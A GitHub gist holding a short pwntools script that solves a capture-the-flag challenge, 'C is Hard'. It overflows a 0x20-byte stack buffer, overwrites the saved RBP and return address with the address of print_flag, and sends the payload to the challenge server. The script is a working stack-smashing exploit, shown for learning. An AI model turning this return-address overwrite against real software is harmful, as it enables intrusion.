Created
March 20, 2021 20:06
-
-
Save xmpf/e3c1540ef495a1d052dc2fe077fb49a3 to your computer and use it in GitHub Desktop.
Codefest: C is Hard - Basic Stack Buffer Overflow [#pwn]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
''' | |
gdb> info functions | |
0x00000000004011b6 print_flag | |
''' | |
addr = p64(0x4011b6) | |
payload = b"" | |
''' | |
0x0000000000401222 <+8>: sub rsp,0x20 | |
0x0000000000401226 <+12>: lea rax,[rbp-0x20] | |
''' | |
payload += b"A" * 0x20 | |
''' | |
Overwrite RBP | |
''' | |
payload += b"B" * 0x8 | |
''' | |
Overwrite RIP | |
''' | |
payload += addr | |
r = remote("chall.codefest.tech", 8780) | |
r.recvline() | |
r.sendline(payload) | |
data = r.recvline() | |
print(data.decode()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment